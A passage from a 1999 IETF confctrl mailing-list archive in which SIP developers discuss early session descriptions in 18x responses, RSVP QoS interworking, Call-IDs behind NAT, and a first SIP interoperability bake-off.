> calling user agent would then have the ability to decide whether or
> not a best effort session is sufficient.
> 
> Thoughts?
> 
> Steve Donovan
> MCI Worldcom

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Feb 24 09:04:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA01753
	for confctrl-outgoing; Wed, 24 Feb 1999 09:04:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA01748
	for <confctrl@zephyr.isi.edu>; Wed, 24 Feb 1999 09:04:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA19495
	for <confctrl@isi.edu>; Wed, 24 Feb 1999 09:04:02 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Feb 24 12:03:07 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id MAA15873;
	Wed, 24 Feb 1999 12:03:06 -0500 (EST)
Message-ID: <36D4304A.943BD070@dnrc.bell-labs.com>
Date: Wed, 24 Feb 1999 12:00:58 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: anrao@cisco.com
CC: Matt Cannon <matt.cannon@mci.com>, Confctrl <confctrl@ISI.EDU>
Subject: Re: 180 to ACM Mapping
References: <002401be5c33$88be1a40$32892ca6@MCANNON.MCIT.COM> <36CDBE42.40B32819@cisco.com> <36D0EF1E.8F5E1ECD@dnrc.bell-labs.com> <36D18AFF.C77B17F3@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anup Rao wrote:
> 
> > Does it? If the purpose of the 183 is just the backwards voice path, the
> > SDP in the INVITE is sufficient, since the caller isn't sending
> > anything. The SDP in the response is needed to get the ports, addresses
> > of the announcement server.
> 
> I proposed that so the caller can know the source to accept packets
> from, as well as send RTCP. This prevents it from accepting packets from
> just anywhere.

This presupposes that the SDP connection line indicates the source of
the packets. Its purpose is not that - it indicates where the caller
should send the packets to, not where it will receive them from. In many
cases, the IP address will be the same, but for multi-homed hosts,
multicast, or for cases where another server is streaming the media,
this won't be the case. Furthermore, the port number in the SDP will not
be the source port number of packets from the callee to caller. I'm
still uncomfortable about hacking in security in this way. As such, I
think it deserves attention about how to add real crypto security.

The SDP in the 183 can contain a key line. If this response is encrypted
with the private key of the caller (known from the response-key tag) and
signed by the callee, the caller can obtain a key for the media to
receive from that user. Now, when media arrives at the callee, it can
apply de-cryption, run a validity check, and if its valid, start playing
the audio. If there are multiple 183's, or even a 183 followed by a 200,
there can be confusion about whom the media belongs to, in order to know
which key to apply. This is why the ACK is nice - the caller can specify
a different port for each. In any case, I suppose the caller could
compare the source IP address against a cache, where the cache contains
(IP address, key) pairs. If a packet shows up with an IP address not in
the cache, all keys are tried, and whichever yields valid RTP packets,
that IP address/key pair is put in the cache. This way, we don't depend
on the IP addresses in the c line of the SDP for identification. 

Comments?

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Feb 24 09:11:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA02069
	for confctrl-outgoing; Wed, 24 Feb 1999 09:11:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02064
	for <confctrl@zephyr.isi.edu>; Wed, 24 Feb 1999 09:11:13 -0800 (PST)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA20272
	for <confctrl@ISI.EDU>; Wed, 24 Feb 1999 09:11:12 -0800 (PST)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-US Robotics)
	id LAA12050; Wed, 24 Feb 1999 11:15:45 -0600 (CST)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.3 (778.2 1-4-1999))  id 86256722.005EF598 ; Wed, 24 Feb 1999 11:17:12 -0600
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Rick Dean" <Rick_Dean@mw.3com.com>
To: confctrl@ISI.EDU
Message-ID: <86256722.005EF496.00@mwgate02.mw.3com.com>
Date: Wed, 24 Feb 1999 11:16:15 -0600
Subject: draft-ietf-mmusic-sip-12.txt Call-ID: port number?
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




In draft-ietf-mmusic-sip-12.txt, the Call-ID
is not permitted to have a port number
after the host.  With network address translation (NAT),
multiple hosts may share one IP address, but be unable to
confer on a locally unique local-id.  I propose we allow
an optional ':' with a port number after the hostname.

--
Rick Dean
rick_dean@mw.3com.com




From confctrl-owner  Wed Feb 24 09:30:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA03911
	for confctrl-outgoing; Wed, 24 Feb 1999 09:30:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA03884
	for <confctrl@zephyr.isi.edu>; Wed, 24 Feb 1999 09:30:04 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA22182
	for <confctrl@isi.edu>; Wed, 24 Feb 1999 09:30:02 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Feb 24 12:28:20 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id MAA16361;
	Wed, 24 Feb 1999 12:28:20 -0500 (EST)
Message-ID: <36D43634.615EEC4@dnrc.bell-labs.com>
Date: Wed, 24 Feb 1999 12:26:12 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'confctrl'" <confctrl@ISI.EDU>
Subject: Re: Thoughts on SIP RSVP QOS Interworking
References: <CA6966C24AC6D111B5A100805FEAB7D857743E@nsrip00208.mcit.com> <36D36372.CC36CDA0@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne wrote:
> 
> One potential problem is that this only works if the media selection is
> either implied (as in Internet telephony, assuming that codecs are
> acceptable) or automatic, rather than user-driven. There's no point
> reserving resources for video if I then don't want to send and/or
> receive video. If you do base the reservation on the 18x indication, you
> may have to downgrade it after the call has been accepted. As a
> sidenote, modifying reservations isn't necessarily supported by existing
> RSVP implementations like altq.
> 
> Clearly, implementations would have to be careful depending on who pays
> for the reservation. If holding a reservation costs money, I can ring
> your phone and make you pay...
> 
> It is interesting to note that, depending on the circumstances, the
> callee session description could appear in one or more of
> - in 1xx for announcements and per-flow QOS
> - in 2xx for "normal" calls
> - in the ACK for some H.323 interworking

In fact, I don't think there is really one "right" way to work RSVP and
SIP together. A nice thing about having them be really orthogonal is
that you can set up the timing based on your specific requirements. In
the case where the media is just one thing (g.711), you can take this
approach (as Henning indicated), but when its negotiated, you may need
to wait till later, or readjust.

Along these lines, I'm not sure you need message support for RSVP within
SIP. If the callee is RSVP capable, it can send the PATH messages as
soon as it sends its 183, whether or not the caller asked or knows about
it. If the caller is not RSVP capable, it will ignore the PATH messages
and never send a RESV. Anyway, the RSVP may not even go end to end. An
intranet may use it for local reservation and for establishing dynamic
SLA's at the service provider boundary, but it may not be forwarded
beyond that. In this case, the both parties might want to send RSVP
messages indpendent of whether the other side supports it.


-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Feb 24 11:16:16 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA10125
	for confctrl-outgoing; Wed, 24 Feb 1999 11:16:16 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA10120
	for <confctrl@zephyr.isi.edu>; Wed, 24 Feb 1999 11:16:15 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA05643
	for <confctrl@ISI.EDU>; Wed, 24 Feb 1999 11:16:14 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA11464;
	Wed, 24 Feb 1999 14:16:12 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA02603;
	Wed, 24 Feb 1999 14:16:11 -0500 (EST)
Message-ID: <36D44FFA.E488E613@cs.columbia.edu>
Date: Wed, 24 Feb 1999 14:16:10 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Rick Dean <Rick_Dean@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: draft-ietf-mmusic-sip-12.txt Call-ID: port number?
References: <86256722.005EF496.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Rick Dean wrote:
> 
> In draft-ietf-mmusic-sip-12.txt, the Call-ID
> is not permitted to have a port number
> after the host.  With network address translation (NAT),
> multiple hosts may share one IP address, but be unable to
> confer on a locally unique local-id.  I propose we allow
> an optional ':' with a port number after the hostname.

Besides the procedural point that this is a bit late to change it for
this round, I'm also not sure that this is needed. A good implementation
will use a cryptographically-strong random number generator for the
localid, which would prevent collision with any other locally running
implementation, as recommended by the spec.
> 
> --
> Rick Dean
> rick_dean@mw.3com.com

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Feb 24 12:42:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA13896
	for confctrl-outgoing; Wed, 24 Feb 1999 12:42:45 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA13890
	for <confctrl@zephyr.isi.edu>; Wed, 24 Feb 1999 12:42:43 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA15515
	for <confctrl@ISI.EDU>; Wed, 24 Feb 1999 12:42:41 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id PAA18565;
	Wed, 24 Feb 1999 15:42:31 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id PAA05556;
	Wed, 24 Feb 1999 15:42:15 -0500 (EST)
Message-ID: <36D46426.D3011447@cs.columbia.edu>
Date: Wed, 24 Feb 1999 15:42:14 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, iptel@lists.research.bell-labs.com, rem-conf@es.net,
        voip-tech@vocaltec.com
CC: Jeff Pulver <jeff@pulver.com>
Subject: First SIP Bake-Off at Columbia University, April 8/9, 1999
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

After an informal survey, a number of people have expressed interest in
participating in a first ``SIP Bake-Off''. The purpose of the bake-off
is to test for interoperability of finished and in in-progress SIP
implementations.

The bake-off will take place at Columbia University, New York, NY on
Thursday, April 8th and Friday, April 9th.

Details can be found at http://www.cs.columbia.edu/~hgs/sip/bakeoff.html

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Feb 24 21:09:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA02397
	for confctrl-outgoing; Wed, 24 Feb 1999 21:09:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA02392
	for <confctrl@zephyr.isi.edu>; Wed, 24 Feb 1999 21:09:48 -0800 (PST)
Received: from repulse (repulse.concentric.net [207.155.248.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA29578
	for <confctrl@ISI.EDU>; Wed, 24 Feb 1999 21:09:47 -0800 (PST)
Received: from metatel (ts013d47.cht-ma.concentric.net [206.173.21.155])
	by repulse (8.9.3/)
	id AAA06525; Thu, 25 Feb 1999 00:09:45 -0500 (EST)
	[ConcentricHost SMTP Relay 1.5]
Message-Id: <4.1.19990224234609.009c9410@pop3.metatel.com>
X-Sender: scott.petrack@metatel.com@pop3.metatel.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Thu, 25 Feb 1999 00:00:06 -0500
To: confctrl@ISI.EDU
From: Scott Petrack <scott.petrack@metatel.com>
Subject: clients and servers 
In-Reply-To: <36D2FB24.5F91199E@cs.columbia.edu>
References: <000601be5f50$3e253200$67e323a6@dwillispc3.mcit.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I found Mark's language is extremely clear --  if other people want to
confuse themselves and others with imprecise language, that is their right,
but it does not help anyone's understanding.

SIP is a client/server protocol. That means that there are clients and
servers and that the two functions are distinct. A client send a request
which invite a server to join a session. The server responds to these requests.

This seems strange at first sight to many telephone people, because they
imagine that it is the same machine which acts as client (i.e. originates
calls) and server (i.e. answers calls). Of course, nothing prevents a
single machine from acting as both client and server, but this is an
implementation. Within SIP, the Contact: header is used to indicate within
a client request the URL of an "associated" SIP server.

Anyone who calls a SIP user agent server a "client" just because it somehow
reminds one of a telephone is making a simple technical mistake which is
likely to lead to misunderstanding, I believe.

Scott






From confctrl-owner  Thu Feb 25 06:46:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA14951
	for confctrl-outgoing; Thu, 25 Feb 1999 06:46:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA14946
	for <confctrl@zephyr.isi.edu>; Thu, 25 Feb 1999 06:46:02 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA19265
	for <confctrl@ISI.EDU>; Thu, 25 Feb 1999 06:46:01 -0800 (PST)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id OAA11245; Thu, 25 Feb 1999 14:41:51 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2232.9)
	id <15QL3QA8>; Thu, 25 Feb 1999 14:44:47 -0000
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D8577443@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Henning Schulzrinne'" <hgs@cs.columbia.edu>
Cc: "'confctrl'" <confctrl@ISI.EDU>
Subject: RE: Thoughts on SIP RSVP QOS Interworking
Date: Thu, 25 Feb 1999 14:44:43 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE60CD.622341B4"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE60CD.622341B4
Content-Type: text/plain;
	charset="iso-8859-1"



> -----Original Message-----
> From:	Henning Schulzrinne [SMTP:hgs@cs.columbia.edu]
> Sent:	Tuesday, February 23, 1999 8:27 PM
> To:	Donovan, Steven R. (MCI)
> Cc:	'confctrl'
> Subject:	Re: Thoughts on SIP RSVP QOS Interworking
> 
> > "Donovan, Steven R. (MCI)" wrote:
> > 
> > All,
> > 
> 
> > 
> > The problem is that as SIP is currently constructed, the two RSVP
> > flows cannot be setup until after the session has been accepted by the
> > called user agent.  This is due to the fact that the SDP portion that
> > contains the necessary IP addresses does not get exchanged until the
> > 200 OK is send by the called user agent.
> > 
> > Thus we cannot offer a service that guarantees of a level of QOS if
> > that QOS needs to be setup prior to alerting of the called user.
> > 
> > There is overlap between this problem and the 180 to ACM mapping
> > problem that has recently been discussed on this mailing list in that
> > in order to solve both problems the called user agents SDP information
> > needs sent prior to the 200 OK.
> > 
> 
> One potential problem is that this only works if the media selection is
> either implied (as in Internet telephony, assuming that codecs are
> acceptable) or automatic, rather than user-driven. There's no point
> reserving resources for video if I then don't want to send and/or
> receive video. If you do base the reservation on the 18x indication, you
> may have to downgrade it after the call has been accepted. As a
> sidenote, modifying reservations isn't necessarily supported by existing
> RSVP implementations like altq.
> 
> Clearly, implementations would have to be careful depending on who pays
> for the reservation. If holding a reservation costs money, I can ring
> your phone and make you pay...
> 
	SRD> This is true.  The model implied in my note is that the calling
party is responsible for paying for the reservation.  

> It is interesting to note that, depending on the circumstances, the
> callee session description could appear in one or more of
> - in 1xx for announcements and per-flow QOS
> - in 2xx for "normal" calls
> - in the ACK for some H.323 interworking
> 
	SRD> This is one of the reasons I sent this message.  There already
two reasons identified for being able to include session descriptions in 1xx
messages.  I seems to me to be prudent to design a generic method to handle
this requirement.

> Also, unless the 18x (Session Information) is the first 1xx message, you
> run into reliability problems, as a lost 18x would not be recovered,
> unless people used something like the 1xx reliability mechanism that
> Jonathan and I have been proposed.
> 
	SRD> I am not familiar with the reliability mechanism you mention.
Can you send me a pointer.

	Another approach would be to define a new method for early delivery
of session description information.  This would allow the use of the
existing ACK method to ensure reliability.  This, however, seems to add a
potentially unacceptable amount of extra overhead.

> > The following is a proposed solution using the SIP defined Require
> > header.  It is based on the calling user indicating the desire for a
> > QOS call by including the necessary header(s) in the INVITE message:
> > 
> > Calling UA -> Called UA  INVITE
> >                          ...
> >                          Required: org.ietf.qos
> >                          QOS-Signaling: RSVP
> >                          ...
> >                          SDP
> > 
> > Calling UA <- Called UA  18X Session Information
> >                          ...
> >                          SDP
> > 
> > Calling UA -> Called UA  RSVP PATH
> > 
> > Calling UA <- Called UA  RSVP PATH
> > 
> > Calling UA -> Called UA  RSVP RESV
> > 
> > Calling UA <- Called UA  RSVP RESV
> > 
> > Calling UA <- Called UA  180 Ringing
> > 
> > Calling UA <- Called UA  200 OK
> > 
> > Calling UA -> Called UA  ACK
> > 
> > If the called user agent did not understand the QOS mechanism then it
> > would respond with a 420 Bad Extension (per the SIP spec).  The
> > calling user agent would then have the ability to decide whether or
> > not a best effort session is sufficient.
> > 
> > Thoughts?
> > 
> > Steve Donovan
> > MCI Worldcom
> 
> -- 
> Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

------_=_NextPart_001_01BE60CD.622341B4
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: Thoughts on SIP RSVP QOS Interworking</TITLE>
</HEAD>
<BODY>
<BR>
<BR>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Henning Schulzrinne =
[SMTP:hgs@cs.columbia.edu]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Tuesday, February 23, 1999 8:27 PM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Donovan, Steven R. (MCI)</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">'confctrl'</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">Re: Thoughts on SIP RSVP QOS =
Interworking</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
&quot;Donovan, Steven R. (MCI)&quot; wrote:</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
All,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; The =
problem is that as SIP is currently constructed, the two RSVP</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; flows =
cannot be setup until after the session has been accepted by the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; called =
user agent.&nbsp; This is due to the fact that the SDP portion =
that</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; contains =
the necessary IP addresses does not get exchanged until the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; 200 OK =
is send by the called user agent.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Thus we =
cannot offer a service that guarantees of a level of QOS if</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; that QOS =
needs to be setup prior to alerting of the called user.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; There is =
overlap between this problem and the 180 to ACM mapping</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; problem =
that has recently been discussed on this mailing list in that</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; in order =
to solve both problems the called user agents SDP information</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; needs =
sent prior to the 200 OK.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">One potential =
problem is that this only works if the media selection is</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">either =
implied (as in Internet telephony, assuming that codecs are</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">acceptable) =
or automatic, rather than user-driven. There's no point</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">reserving =
resources for video if I then don't want to send and/or</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">receive =
video. If you do base the reservation on the 18x indication, you</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">may have to =
downgrade it after the call has been accepted. As a</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">sidenote, =
modifying reservations isn't necessarily supported by existing</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">RSVP =
implementations like altq.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Clearly, =
implementations would have to be careful depending on who pays</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">for the =
reservation. If holding a reservation costs money, I can ring</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">your phone =
and make you pay...</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SRD&gt; This is =
true.&nbsp; The model implied in my note is that the calling party is =
responsible for paying for the reservation.&nbsp; </FONT></P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">It is =
interesting to note that, depending on the circumstances, the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">callee =
session description could appear in one or more of</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">- in 1xx for =
announcements and per-flow QOS</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">- in 2xx for =
&quot;normal&quot; calls</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">- in the ACK =
for some H.323 interworking</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SRD&gt; This is =
one of the reasons I sent this message.&nbsp; There already two reasons =
identified for being able to include session descriptions in 1xx =
messages.&nbsp; I seems to me to be prudent to design a generic method =
to handle this requirement.</FONT></P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Also, unless =
the 18x (Session Information) is the first 1xx message, you</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">run into =
reliability problems, as a lost 18x would not be recovered,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">unless people =
used something like the 1xx reliability mechanism that</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Jonathan and =
I have been proposed.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SRD&gt; I am not =
familiar with the reliability mechanism you mention.&nbsp; Can you send =
me a pointer.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Another approach =
would be to define a new method for early delivery of session =
description information.&nbsp; This would allow the use of the existing =
ACK method to ensure reliability.&nbsp; This, however, seems to add a =
potentially unacceptable amount of extra overhead.</FONT></P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; The =
following is a proposed solution using the SIP defined Require</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
header.&nbsp; It is based on the calling user indicating the desire for =
a</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; QOS call =
by including the necessary header(s) in the INVITE message:</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Calling =
UA -&gt; Called UA&nbsp; INVITE</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; ...</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
